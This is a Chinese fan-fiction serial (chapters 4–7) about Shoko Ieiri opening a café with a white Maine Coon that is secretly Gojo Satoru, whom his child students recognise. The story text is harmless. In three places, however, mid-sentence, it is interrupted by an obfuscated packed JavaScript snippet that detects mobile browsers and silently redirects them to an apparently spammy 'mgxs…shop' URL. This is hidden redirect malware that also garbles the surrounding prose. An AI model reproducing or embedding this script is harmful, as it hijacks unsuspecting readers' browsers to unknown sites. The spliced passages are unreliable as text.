“这可是我们家的招牌啊!”小林即使手里提着几个沉得出奇的猫包,也恨不得原地蹦跶两下,“我在朋友那里办了会员卡,今天洗护打八折呢,还送免费的护毛素!” 家入硝子盯着她的脸,突然察觉到了什么:“你干嘛在宠物店办会员卡?你自己有养宠物?” 她在宠物医院这几天,可从来没听说过小林家里还养了宠物这件事。 小林有些讪讪地收起脸上的笑:“仓鼠!仓鼠啦!我养着玩的。” 医生听到她的话一拍脑袋,脸上浮起真切的担忧:“那我还让你把猫往家里放,会不会出问题?” “没事没事!”小林头摇得跟拨浪鼓似的,“都养在笼子里,不会出问题的!” 家入硝子狐疑地看了她一眼,见对方一口咬死,也就不再追问。于是她的话题又转移到了眼前的施工场地上:“这得多久才能装完?” 医生摸了摸自己的脑袋:“我朋友说得一个月,先拆之前的旧装,再改水电。咖啡机那边要加几个插座,上下水也得重新走。再是最后的墙面、吧台、招牌什么的,一个月差不多。” 家入硝子点了点头:“一个月,正好。” “什么正好?”小林兴致勃勃地抬眼看向她。 “你不会真的打算就这样白纸一张上阵吧?”家入硝子眯着眼看了她一眼,“摸清楚学生的口味偏好和价格承受区间,找合适的原料供货商,还有决定菜品练习做甜品咖啡的手艺——你不得在这一个月间好好练练?” 小林一张脸瞬间垮下来:“硝子姐你好无情!” “这叫规划,”家入硝子毫不客气地继续朝她泼冷水,“就算猫猫狗狗的真的把客人引来了,餐品质量不行也全白瞎。” “好吧好吧,”小林认命地撇了撇嘴,“我去网上努力进修一下那些甜点和饮料的制作方法好了。” 医生在旁边满头大汗,颤颤巍巍地伸出一根手指指向自己:“我也要学吗?” 家入硝子转头看向他:“对接原料和设备的供应商,别的不行,谈价格你总会吧?” 年纪比家入硝子大出一轮的医生冷汗涔涔:“我试试。” “那硝子姐你呢?”小林发现了问题,小林一语中的地向家入硝子发起进攻。 “我去学咖啡和拉花。”家入硝子毫不动摇地接招。 三个人站在原地,一时间相顾无言。风卷着几片树叶从他们面前飘过,三个人各怀心事地看着面前的树叶。 “硝子姐……” 家入硝子抬起头,看见小林心虚的表情:“怎么了?” “要是我蛋糕做砸了,你可不要生气啊。” 家入硝子看着眼前那片被施工警戒线围起来的店面,想起一周前的这个时候,她还只是个来探病的失业人员呢。 她浅淡地笑了一下,语气却很肯定:“嗯。” 话音刚落,身后传来小电驴的刹车声,一个穿着宠物店工作服的年轻女生骑着辆粉色小电驴在他们跟前停下,怀里提着一只白色的猫箱。 “小林,我给你送过来了!”对方笑眯眯地,看上去很和善。 小林瞬间放下手里的东西,拖着硝子就凑了上去:“让我看看!让我看看!” 宠物店员工俯身将猫箱放在地上,然后将猫箱的门缓缓打开,她熟练地把猫箱的一侧向上提起,于是一大团蓬松的白色就这样掉了出来。 家入硝子眯起眼睛,那团东西动了一下,露出一张熟悉的猫脸,浑身的毛被吹得蓬起来,比在医院时大了整整一圈,像一朵移动的云。 “莉奇酱!你洗护的手艺太好了!”小林热情地扑过去,“完美还原了它的美貌!” 被称作“莉奇酱”的宠物店员工很骄傲地抬起胸膛:“那当然,毕竟是小林你亲自送过来的嘛。我特意吹得特别蓬,还做了基础护理,你运气真好,这孩子是丝绸毛,不怎么掉毛超省心的。而且它一点都不怕水,就是不让动指甲。” 说到这里,她伸手捏了捏白猫的前爪,露出了尖尖的猫指甲:“不过它全程都收着爪子,问题也不大。多在猫抓板上磨磨就行了。” 小林的心思已经完全被眼前的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365217|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫吸引走了,点头如捣蒜。 和几人打了个招呼,莉奇酱就把猫箱装回小电驴上,风风火火地离开了,毕竟店里还有一堆事等着她呢。 家入硝子看了看蹲在地上不爽地拍着尾巴的猫,颇为好奇地捏了捏对方像鸡毛掸子一样的尾巴尖,对方的尾巴瞬间炸得更蓬了,但是没冲她亮爪子也没龇牙。 “金牌员工!”小林在旁边美滋滋,“看起来真的有戏耶!” 家入硝子没接话,她学着之前在医院里看到的宠物主人,尝试把猫抱起来。猫的身形很长,毛也不短,抱起来不太顺手,但是猫很自然地往她怀里一缩,调整着后腿的位置,踩在她的手臂上。 家入硝子低头对上那双罕见的蓝眼睛,开口说道:“一个月的时间,看它学不学得会对客人摆笑脸吧。” 小林一脸黑线:“……猫又不会笑!” 医生抵着下巴陷入沉思:“虽然猫不会像人类一样用嘴角上扬来表达开心,不过它们的面部肌肉确实可以实现‘笑’这个动作。不是有本很有名的儿童读本就讲这个的吗?” “儿童文学里的东西就不要在这种时候拿出来啦!”小林精疲力竭。 话音刚落,家入硝子臂弯里的猫突然歪了歪脑袋,咧开嘴并眯起了蓝色的眼睛。 那表情看起来太奇怪,家入硝子的手抖了一下,下意识一巴掌盖过去,被她的手掌盖住的猫发出一串抗议般的“喵喵”声,脑袋在她手里拱来拱去。 “是我错了,”家入硝子把手收回来,严肃且冷静地承认自己的问题。 小林和医生都同时看向她。 “还是别想这件事了。”家入硝子如此宣布道。 虽然指望一只猫学会笑这件事已经是板上钉钉的不可能事件,不过在咖啡厅装修完成之前,还有一件事可以做。 “那当然是——”小林竖起一根手指,故作神秘地在身前晃了晃,“给我们的看板猫起一个响当当的名号!” 家入硝子听到这话,困惑地眨了眨眼:“它还没有名字吗?我还以为小林你那么热衷,早就起过了。” “我起过了啊!”小林立刻发声,“我起了好几个!” 她清了清嗓子,对着家入硝子臂弯里的猫,掰着手指头开始数。 “第一个,雪球!”猫的耳朵动了动,盯着不远处的麻雀看得入神。 “第二个,糯米滋!”猫把头转过去,只留下一个滚圆的后脑勺。 “第三个,小白!”猫生无可恋地闭上了眼睛。 “第四个,”小林越挫越勇,压低声音凑过来,“由纪·mofuko·haku·圆滚滚……” “等等等等,”医生连忙伸手叫停,“这都是些什么玩意儿?” “我在校园论坛上发的起名求助帖里的回复!学生们都喜欢这样起!”小林一脸兴致勃勃,完全没有感觉到这些名字有任何不恰当之处。 家入硝子沉默了两秒:“所以你起了这么多,它哪个都没理?” 刚刚还兴冲冲的小林瞬间泄了气:“一个都没理,叫什么都不回我。” 医生在旁边补刀:“我试过直接叫咪咪也完全没反应。” 家入硝子低头看着怀里那只猫,对方正好睁开眼睛,和她对视上,一边伸出爪子按在硝子的手背上,一边颇为做作地掐着嗓子“咪”了一声。 家入硝子还来不及一阵恶寒,就听见旁边小林的撺掇:“它在让你起!硝子姐上啊!” 家入硝子陷入了沉思,虽然对方把起名的机会留给她,她确实惊喜又意外,但是,她是个起名废啊…… 现失业人员家入女士,抱着怀里的猫陷入沉思。 5. 第五章 江城的大学十有八九都扎堆在山潭区,不仅如此,各所大学的附中附小也跟着搬过来,再加上培训机构、书店和餐厅,生生把这片地方打造成了全江城学生密度最高的区域。 学府路附近两公里,光是麦当劳就开了四家,再加上炸鸡、烧烤、奶茶店,能从下午一直热闹到深夜。 学生不一定是最有钱的,也不一定是最舍得花钱的,但数以万计的学生们聚在一起,每日从口袋里掏出来的零碎,能把大学门外那条街养活三遍。 就在学府路拐进岔巷的地方,有家就叫“隅”的咖啡店静悄悄地在四月的尾巴上开业了。 招牌不大,就一个黑色的“隅”字挂在门头上,玻璃门的门把手上挂着块木牌,上面手写着幼圆字体的“试营业中”。 门口没有花篮也没有广告牌,唯一的装饰是一串猫头形状的小木牌和旧铃铛做成的风铃。地面上倒是贴了几张零零散散的猫爪印,从路口一直延伸过来,最后消失在门缝里。 四月正是刚开学不久的日子,两个下课后的大学生沿着学府路一路往前走,往日里外卖点惯了,看着这些熟悉的食物造型一点兴致也提不起来。 “有没有新开业的店啊!这条街我真是快吃吐了……”为首的学生垂头丧气,嘴里发出一串抱怨。 “这不是在陪你逛吗?铃音,”旁边的长发女孩耸了耸肩,“不过新店也很容易踩雷的。” “难道我们又要坐一个小时的地铁,就为了跑到隔壁区去吃一顿饭?”铃音崩溃地抓了抓自己的头发。 天下大学生苦吃饭久矣。 雪理挠了挠自己的脸,突然视线的余光注意到了一抹突兀的白色。 “铃音,你看那里,路口是不是蹲着一只猫?”她拉着好友上前,看见那只猫正蹲坐在路口,蓝色的眼睛盯着来来往往的行人。 “咪咪,你蹲在这里干什么呀~”天生对小动物有好感的雪理忍不住上手想摸,却被对方一个灵巧的矮身避了过去。 “啊,不给我摸。”她有些失落地收回手,看到那只猫站起身来,却没有径直离开,而是一直盯着她们。 铃音看着猫的眼睛,突然灵光一闪:“它不会是想让我们跟着它走吧?” 猫咪立刻“咪”了一声,绕着她们的小腿转了一圈,毛绒绒的尾巴尖从女孩子们穿着短袜的小腿上轻轻扫过,一触即离。 “跟上去看看?”铃音和雪理对视了一眼,两人跟着那只聪明到不像话的猫朝着偏巷的方向走去,一路上还有小猫爪印形状的路标,两个人兴冲冲地拿着手机一边录像一边朝前走。走了不到二十米,两人看见了那家刚开业不久的新店,拍着脑袋直呼“上当了”。 “这家店什么时候开的啊?” “不知道,以前好像是个宠物医院?” “没想到你个浓眉大眼的咪咪居然是来揽客的!” “那我们还进去吗?” “进吧,来都来了。” 玻璃门被推开,挂在店门口的风铃叮叮当当地响起来。原本趴在柜台上的女生瞬间坐直了身体,冲着今天的客人露出一个过分热情的笑容:“欢迎光临!请问要来点什么?” 两个女生看着菜单,纠结了一下,选择后各自点了一份甜品和一杯饮料,然后在店里随便找了张双人桌坐下。桌子上摆着个小猫摆件,看起来很别致。 她们坐下后,目光依旧没有从那只跟着进来的白猫身上移开。在女生走进后厨去制作甜品后,对方就大摇大摆地跳上了柜台,两人定睛一看,柜台上还摆着个天蓝色的垫子,上面沾了几根猫毛,看来是对方的“专属位置”。 等另外一个眼角带着泪痣的女生先将两杯拿铁端了出来,雪理和铃音立刻迫不及待地开口询问:“这只猫是你们家店里的吗?怎么这么聪明还会带客人进来啊?” 家入硝子怔了一下,看向在垫子上窝好的白色猫咪,嘴角微微勾起:“对啊,那可是我们家的金牌员工。” 女孩子们一下子炸开了锅:“是小猫老板耶!我想拍张照发到我的社交平台上,可以吗?” “当然可以。”家入硝子下巴微微抬起,巴不得她们多发点照片,好给自己做免费宣传呢。 “就是不让摸。”雪理的声音听起来有点遗憾。 家入硝子看着那边慵懒晒太阳的猫咪,抵着下巴思考了两秒:“它确实不大喜欢被陌生人摸。不过你们是今天的第一位和第二位客人,稍微给点福利也不是不行。” 她冲着猫的方向勾了勾手指:“砂糖,过来打个滚。” 被叫到的猫耳朵抖了抖,趴在原地没动。 两个女生满怀期待地望着那边,屏住呼吸,大气都不敢出。家入硝子没再说话,就这么看着它。 三秒后,白猫无奈地原地伸了个懒腰,没骨头似的从柜台上滑下去,四只爪子落地时故意踩出很重的声响,像是在抗议硝子的“霸权主义”。 猫迈着不情不愿的步伐在两个女孩子前站定,蓬松雪白的长尾在身后甩来甩去。 家入硝子虽然面无表情,但心底却已经乐得不可开交。 这家伙,平时店里只有他们三个人时,恨不得一天表演八百回,在小林做甜品时蹲在旁边监工、在餐桌和咖啡机上来回跑酷……甚至会自己开电脑,然后在键盘上一通乱踩放音乐,上次医生刚推门进来,就被一顿重金属吉他音伺候,吓得差点原地摔了一跤。 现在有外人在,倒是端起来了。 果然,眼前的白猫一秒入戏。 它先是抬眼看了看面前的两个女生,然后毫无心理负担地往地上一倒,还不是普通的卧倒,是那种舞台剧里精心设计中弹倒地的倒法。倒地之后,它维持着这个姿势僵了两秒,然后才慢悠悠地打了个滚,四只爪子在空中蹬了蹬,最后趴在原地,打了个大大的哈欠。 “好听话的猫!”铃音看得眼睛都直了。 雪理倒是注意到了另外一件事:“这只猫叫砂糖吗?好可爱的名字!” “对啊,”家入硝子看着她俩笑了笑,“Satou,砂糖。这家伙也很喜欢哦。” 送走两名兴奋至极的女生后,小林又坐在了柜台前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365218|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,兴奋地摩拳擦掌:“好耶!今天终于开张了!” 她看着地上的白猫笑眼弯弯:“多亏了我们砂糖认真揽客,对不对?” 家入硝子颔首:“消费主体是学生最大的一个好处就是,一传十十传百。有几个被吸引过来,后续来的人就会多起来的。小林,不要忙得晕头转向了哦?” 被点到名字的女生立刻反驳:“我会早早起来把一天的原料都提前备好的啦!硝子姐你做咖啡不也要加油吗?” “硝子小姐的拉花看起来可比你的蛋糕熟练多了,”医生在此时推门走了进来,正好听见最后那句,他看了一眼小林撇下去的嘴角,又默默补充了一句,“不过小林你做的蛋糕也很不错,砂糖就很喜欢嘛。” “那当然!”小林自豪地扬起下巴,“我可是专门研究了怎么做出能给猫猫吃的甜品这件事!” “但凡你把这种心思花在精进人能吃的蛋糕上……”家入硝子看着对方忿忿的表情,点到即止。 有了像铃音和雪理这种自来水的客人,咖啡厅的生意逐渐步入正轨。而且咖啡厅里的公告栏上还贴着小动物的领养告示,如果能成功领养走一只小动物并且愿意接受定期回访的话,还会免费赠送甜品套餐。 客人们品尝了美食和饮品,咖啡厅获得了盈利,猫猫狗狗们找到了新家,一举三得。 现在是周三下午四点,平日里常来的中学生和大学生们都还没下课。家入硝子在空空荡荡的咖啡厅里转了一圈,没看到那只白色的身影,她走回柜台,看向小林和医生:“你们看见猫了吗?” 小林摇了摇头,医生犹豫了半秒:“是不是自己出去玩了?” “坏了!”小林脸色一变,左手握拳砸在右手上,“我们忘记给砂糖搞个项圈标牌了!砂糖长得这么好看,被别人拐走了怎么办?” 家入硝子斜眼睨她:“那家伙精着呢。你被拐走了,它都不可能被拐走,除非它是自愿的。” “……为什么是我被拐?”小林瘪了瘪嘴,“我就坐在店里,谁敢来拐我呀!” 医生在旁边笑得肩膀直抖。 就在三人闲聊之际,门上的风铃突然叮叮当当地响了起来,他们同时转头,门口站着的白色缅因猫尾巴翘得老高,一点都没有“出去玩被抓包”的局促。 三个发色各异的小萝卜头跟在后面,正蹑手蹑脚地往里探,没想到却被门上的风铃暴露了行踪,对上他们三人的视线后僵在了原地。 小林看了一眼,又看了一眼,然后猛地捂住嘴:“完了——” “又怎么了?” 小林声音颤抖,一脸痛心疾首:“砂糖居然学坏了,它不光自己出去玩,还学会拐卖小孩了!” 家入硝子一阵沉默,门口的三个小孩也沉默了。 “呃,”最后还是那个为首的粉头发男孩先开口,他尴尬地抠了抠脸,“那个……我们就是想来看看这家店……” 他身后跟着个棕发波波头的女生和一个黑色刺猬头的男生,三个人一脸紧张,手里还攥着书包带子,一看就是刚下课的小学生。 6. 第六章 咖啡厅的正常营业时间是中午十二点到晚上八点,因此这八个小时内,纯白的缅因猫就会在学府路的路口徘徊,蹲在路口的梧桐树下,成为这条街最显眼的“活招牌”。 五条悟对于自己变成猫这件事适应良好,新世界没有缠人的咒灵和烂橘子,也没有无时无刻不在接受信息的六眼,作为一只毛茸茸、暖呼呼的小猫咪,如今他只需要躺在地上把肚皮一翻,或者用鸡毛掸子似的长尾巴轻轻扫过路过学生的裤脚,就能换来一串难掩激动的惊呼,轻轻松松完成今日的揽客KPI。 作为曾经的咒术界天花板,在做猫这件事上也是最强! 虽然当猫不能吃喜久福,也不能躺在床上玩游戏,但换个角度想,当猫可以正大光明地趴在阳光下睡大觉,卖卖萌就能活得吃喝不愁、悠哉游哉。 简直就是大赚特赚。 只要达到家入硝子定下的“每日吸引十名客人进店”的指标后,他就会立刻撂挑子,大摇大摆地从咖啡厅正门走出去,趾高气昂地开始巡视周围的领地。 按理来说,纯白的猫咪因为毛色的缘故,在流浪猫的圈子里向来容易受欺负,妥妥的食物链底层。但是五条悟不一样,他是缅因猫,体型比同龄家猫大上一圈,又会在人类面前卖乖,日子过得那叫一个风生水起,连附近的流浪猫都得避他三分。 每天下午三点半到四点半正是他巡街的时间,他会慢悠悠地爬上学府路的矮墙,迈着六亲不认的步伐,像一团被风吹着往前滚的棉花糖。路过的行人总忍不住停下脚步,举着手机拍个不停,夸这只猫长得真好看。 至于小林担心的“被人抱走”的事,压根不会发生。 记忆点如此鲜明的白猫,再加上那身一看就被精心照顾的绒毛,旁人一看就知道是有主人的。街上其他的店主见多了,还会主动和他打招呼:“咪咪,今天又出来啦?” 今日的五条·砂糖·悟,也依旧按时开启了巡街模式。他晃悠着毛绒绒的尾巴,正准备跳上被爬山虎爬满的矮墙,只是他刚一站稳,就看到对面小公园的长椅上有三个眼熟的人影。 那是身形缩小了一大圈的咒术高专一年级生三人组。 缅因猫从矮墙上跳下去,悄悄凑近,将身形隐在小公园的灌木丛里,再定睛一看,差点忍不住笑出声。 嚯,三个小学生正对着手里的试卷愁眉苦脸呢! “英语怎么能这么难啊……”虎杖悠仁把试卷往腿上一拍,仰天长啸,手里那张英语试卷上,一个大大的“五十九分”格外扎眼,“回去肯定又要被爷爷修理了!” 钉崎野蔷薇坐在他旁边,闻言颇为嫌弃地打量了他一眼:“笨!你让你大哥签字不就好了?反正他也不管你考了多少分。” 她一边说,一边视线落在自己手里的试卷上,虽然分数比虎杖高了点,但一想到纱织的笑脸,就忍不住轻轻叹了口气。 “可是大哥在便利店打工,今天轮到他上夜班,要半夜才能回来,肯定来不及……”虎杖耷拉着脑袋,一脸哀戚。 钉崎翻了个大大的白眼,撑着下巴转头看向旁边一直沉默的黑色海胆头:“伏黑呢?你这家伙该不会又是全班第一吧?” 蹲在灌木丛后的五条悟耳朵一动,心里暗自嘀咕:关系这么好,这三个家伙不会转世时是手拉手一起投胎的吧? 伏黑惠面无表情地抬头,正准备回答,突然一阵风从三人面前刮过,他下意识抬手挡在面前,再睁眼时,入目的是一大团蒲公英一样的白色。 一只纯白的缅因猫蹲在他们面前,尾巴翘得老高,苍蓝色的眼睛直直地盯着他,准确地说,是盯着他们三个。 “哇,哪里来的猫啊?”钉崎野蔷薇愣了两秒,眼睛一下子亮了起来,“毛还挺好看的。” 她说着,忍不住从长椅上跳了下去,感兴趣地用手摸了摸猫背上的绒毛。 虎杖悠仁也愣了一下,原因无他,那双蓝色的眼睛太过眼熟,他的脑海里闪过一个模糊的影子,但他又不太敢确定,那个人怎么可能变成一只猫呢? “呃,它的眼睛颜色很特别。”他挠了挠头,干巴巴地说道。 钉崎正兴致勃勃地撸着猫,闻言头也不抬地说道:“这是缅因猫啦,我在纱织的杂志书上看到过,这只毛真蓬!” 伏黑惠没说话,他从猫出现的第一秒就一直盯着它,那双眼睛就和虎杖说的一样很特别,看他们的眼神也带着一种难以言喻的熟悉,像是在确认什么。 虎杖悠仁还在盯着那只猫看,他眉头紧锁,脑海里的影子越来越清晰,一时没忍住,嘴里的话脱口而出:“……五条老师?” 这话一出,钉崎和伏黑同时转头看向他。 钉崎野蔷薇的手还放在猫背上,闻言瞬间僵住,只觉得手下像被火烤一样烫得厉害,继续撸下去也不是,收回来也不是。 “你开玩笑的吧?”她嘴角扯出来一个僵硬的笑容,声音都有些发颤,“那家伙怎么可能是一只猫啊?你说是不是,伏黑?” 伏黑惠一言不发,他也无法给出确切答案。 虎杖自己也愣住了,他有些尴尬地挪开目光:“不是,我就是……突然……” 他说着,声音越来越小,毕竟这话听起来实在太离谱了。 就在这时,那只猫抬起眼直直地看向他,眼睛里带着熟悉的揶揄。 三人一猫花了半个小时,才总算搞清楚了现状。 猫不会说话,因此他们借助了伏黑妈妈给他买的儿童手机和这只猫沟通,手机自带手写板功能,方便他写作业、查资料。这一世,伏黑惠的妈妈没有英年早逝,虎杖和钉崎在家长会上还见过她,那是个笑起来很开朗的女人。 三个小学生蹲在地上,目不转睛地看着一只猫用肉垫写字,猫爪歪歪扭扭地划了一条扭曲的S线。 “五条老师为什么要写个S?”虎杖悠仁一脸疑惑,“难道是给我们的评分吗?” 钉崎野蔷薇盯着那条线看了半天,突然一个暴栗敲在他头上:“你个笨蛋!那是个‘5’!” 伏黑惠沉默不语,看着猫抓交替写下汉字、平假名、英文和数字,哪个简单用哪个。看不懂也没关系,三个脑袋凑在一起,再结合五条老师的性子,拼拼凑凑,总算勾勒出了对方想传达给他们的信息。 “所以,五条老师刚从新宿的战场上下来,醒来后就变成这样了,现在在和家入医生一起开店,而且家入医生什么都不记得了?”伏黑惠抵着下巴,梳理着那些零碎的信息,语气里带着点试探。 “哦哦!优等生的脑子就是好用啊!”钉崎野蔷薇冲他竖起了大拇指,转头就看见蹲在地上的缅因猫赞同地点了点头。 短暂的沉默后,虎杖悠仁眼泪汪汪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365219|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“嗷”地一嗓子抱住眼前的猫:“五条老师!” 对方用爪垫抵住他的脸,看着他脸上真情实意的伤心,又忍不住用爪子拍了拍他的脑袋。 “别哭了,五条老师这不是还活着吗?”钉崎野蔷薇眼圈也红了点,却依旧嘴硬道,“说起来,快带我们去看看家入医生,她现在怎么样了?” 一旁的伏黑惠已经收拾起了书包,一副随时可以出发的样子。 以上,就是三个小学生跟着缅因猫,悄悄溜进咖啡厅的前情回顾。 只是他们刚和五条悟相认时还感伤不已,这会儿看到把他们三人完全当作陌生小孩对待的家入硝子,又忍不住有些坐立不安。 “小学生就别喝咖啡了,”家入硝子这回端出来的是三杯气泡水,还有三盘小林特制的儿童减糖版舒芙蕾,“不用付钱,都记砂糖账上,算它请你们的。” 趴在三人桌上的缅因猫“喵”了一声,不知道是在应和,还是在抗议。 说完这些,家入硝子就转身走进了后厨,她能感觉到自己在面前的时候,三个小学生都有些拘谨。 她一走开,那边果不其然就炸开了锅。 “噗!砂、砂糖哈哈哈哈哈……”钉崎野蔷薇捂着肚子笑起来,“这是什么名字啊?也太难和五条老师联想到一起了吧!” “虽然确实很意外,”虎杖也跟着笑,笑到一半却突然一脸认真地思考起来,“但五条老师的名字是Satoru,砂糖是Satou,这么一看还蛮贴切?” 伏黑惠默默喝了一口气泡水,也是减糖的,他轻轻点头给出一个好评:“我之前就听说过家入医生不擅长起名,不过这个名字,倒是起得挺合适。” 被三个弟子友善地嘲笑了一通新名字的砂糖,在桌子上打了个滚,幽怨地盯着他们,尾巴还故意甩来甩去。 “啊!五条老师你过去一点,”野蔷薇伸出手挡住他甩过来的尾巴,“你的毛都要跑进我的舒芙蕾里去了!” 白色的缅因猫身体一顿,更加变本加厉地挤了过来,嘴里还得意洋洋地“喵嗷”叫。 见制止不成,野蔷薇干脆摆烂,冲着后厨的方向努努嘴,和身旁的小伙伴使了个眼色:“看样子,家入医生是真的完全不记得我们了。” “对啊,”虎杖正在往嘴里塞舒芙蕾,柔软香甜的蛋糕体在嘴里化开,他含糊不清地说道,“不过依五条老师的意思,我们没必要提起上辈子的事?” “应该是因为现在的日常太难得了吧。”伏黑惠轻声点明。 他们说这些话时都刻意压低了声音,以普通人的听力,后厨里根本听不到。 另一边,家入硝子看着前厅里鸡飞狗跳的场面,有些疑惑地转头看向小林和医生:“‘五条’是谁?” “谁知道呢,”小林伸出一根手指抵着下巴,猜测道,“大概是小孩子看动画,给猫起的名字吧?把猫当作自己的老师,这个年纪的小孩好像也挺常见的。” 医生赞同地点点头,顺势就要展开话题:“那本以猫为主角的儿童文学作品里,猫还成为了人类的前辈呢……” “等等等等!”小林赶紧叫停,“医生你又开始了!” 家入硝子看了一眼后厨内外都热热闹闹的模样,嘴角不自觉地微微翘起,心情也跟着轻松起来。 五条什么的,就随他去吧。 7. 第七章 自从三个小学生成为咖啡厅的常客之后,“隅”的下午就再也没有安静过。 倒不是说他们吵闹,相反,虎杖悠仁、钉崎野蔷薇和伏黑惠这三个小孩坐在角落里写作业的时候,比大多数成年人都老实。 只是他们和砂糖的互动实在太多,一会儿虎杖高声叫道“五条老师不要睡在我的草稿本上”,一会儿钉崎暴躁地喊“不要咬我的习题册”,一会儿伏黑面无表情地举起猫说“它睡着了怎么办”。 而且最离谱的是,砂糖还会教三个小学生数学题,翘着尾巴从桌子左边走到右边,又从右边走到左边,谁要是算错了,或者计算慢了,就等着被一尾巴拍在脸上吧。 家入硝子一开始还会过去看一眼。后来就不看了。反正砂糖比他们加起来都精,爱怎么折腾就怎么折腾。 小林倒是很乐意围观,每次三人组来她都要凑过去问东问西:“今天作业多不多?你们上次数学考了多少分?惠惠你是不是又考第一?” 伏黑每次都是沉默,钉崎替他回答:“年级第一。” 小林就发出夸张的惊叹声,然后被硝子一句“你烤的蛋糕要糊了”喊回去。 日子就这么一天天过去。四月的尾巴从窗边溜走,五月的风开始带着点初夏的气息。 家入硝子站在咖啡厅的后院里,看着宠物医院原本的住院区位置。 一个月前这里还叠满了大大小小的笼子,猫叫狗吠此起彼伏,消毒水的味道混合着宠物粮的气息,是标准的“收容所”现场。现在不一样了,挤得满当的笼子已经空了大半,那些陈旧的垫子收起来了,满是牙印的喂食盆也只剩下零星几个。那些曾经无家可归的小东西们,正在以肉眼可见的速度减少,告别这里。 家入硝子露出了满意的表情。 小林和医生今天去定期走访被领养的流浪动物了,从城东跑到城西,一整天都回不来。三个小学生参加课外实践去了,也没来。店里只剩她一个人,干脆打了块“今日只供应饮品”的招牌,清静得很。她甚至有空给后院那几盆被砂糖咬得缺了角的绿植浇了水,又把咖啡厅的窗户打开通风。 五月初的风吹进来,带着点广玉兰的香气,白色和淡紫色的花瓣飘落在窗台上,一副落英缤纷的晚春景象。 就在她盘算着再送走几只就能清空住院区的时候,咖啡厅的玻璃门突然被推开了一道缝,一道毛绒绒的白影灵活地挤了进来。 家入硝子低头看着突然凑到自己脚边的砂糖有些愣神,她下意识看了一眼墙上的挂钟,下午三点四十七,按照这只猫平日的惯例,这个点应该还在学府路的矮墙上巡街,要不然就是去公园里和前几天刚结识的小学生混在一起,今天怎么这么快就回来了? 砂糖的反应很反常,不像平时那样懒洋洋地迈着猫步从她脚边蹭过去,而是绕在她脚边不停地转来转去,尾巴绷得笔直,喉咙里发出急促的“喵嗷”声。转了两圈之后,它又跑到门口,回头冲她叫,再跑回来咬她的裤脚往外挪。 这样的动作重复了几次,家入硝子眯起眼睛:“你想让我跟着你走?” 砂糖松开嘴冲着她响亮地叫了一声,尾巴急促地晃了晃,把门框拍得啪啪直响。 她低头看着那双蓝眼睛,平时这双眼睛里总是带着点欠揍的戏谑,好像天塌下来都无所谓。但今天不一样,里面有她没见过的焦急。 家入硝子解下身上的围裙,随手搭在椅背上,连店门都来不及拉上,就跟上白色的缅因猫,快步往外走去。 砂糖走得很快,却又时不时回头看她,生怕她跟不上。走到街角的电线杆下时,它突然停了下来,冲着电线杆的方向,低低地叫了一声。 硝子放慢了脚步,顺着砂糖的目光看去,电线杆下躺着一团模糊的黑色,不仔细看的话几乎要和黑色的围墙融为一体。 这场景太熟悉了。 一个月前,她也是在这个路口,在同样的电线杆下,捡到了腹部豁开、差点断成两截的砂糖。她抬头看了看天空,五月的阳光很好,棉絮一样的云铺在蔚蓝色的天空中,和那天暴雨倾盆的阴郁灰暗完全不一样。 她心里冒出一个奇怪的念头:难道这里是什么受伤动物刷新点? 稍微调侃了下冲淡心里的那份沉重,她放轻了脚步一点点靠近。 和上次不一样,这次的黑色狐狸还有意识,它缩着身子把自己团成一团,但凡察觉到有人靠近的瞬间,就立刻抬起头龇牙,喉咙里发出低沉的威胁声。也正是因为这样,路过的行人都远远地绕开,没人敢贸然上前。 家入硝子停在几步之外,她能看清那只狐狸的身形不大,黑色的毛发沾了些灰尘和泥土,显得有些狼狈。 白色的缅因猫蹲在不远不近的地方,冲着家入硝子抖了抖耳朵。 硝子探着头朝前看了看,看清了狐狸藏在身下的右爪。它的姿势不太对劲,那不是正常绻缩的样子,而是以一种别扭的角度压在身下,像是故意用身体遮掩住不露出来。 她心底一沉,蹲下身去和那双狭长的眼睛对视。 狐狸盯着她,龇起的牙没有丝毫收回的意思。它的眼睛是很深的琥珀色,里面倒映出她的影子,还有警惕、忍耐,以及某种她看不懂的东西。 家入硝子没动,她保持着蹲下的姿势,朝着狐狸的方向慢慢伸出手。 狐狸的喉咙里还在发出威胁声,它盯着那只靠得越来越近的手,耳朵紧紧贴在脑后。 如果真的被咬了,医生那里还有狂犬疫苗的针剂,不用去外面花钱……家入硝子漫无边际地想着,动作没有丝毫停顿。 就在这时,砂糖在旁边很轻地叫了一声,家入硝子不知道这只狐狸是不是能听懂它的意思,但在猫叫之后,那只狐狸喉咙里的威胁声渐渐低下去,龇起的牙也慢慢收了回去,只是依旧警惕地盯着她。 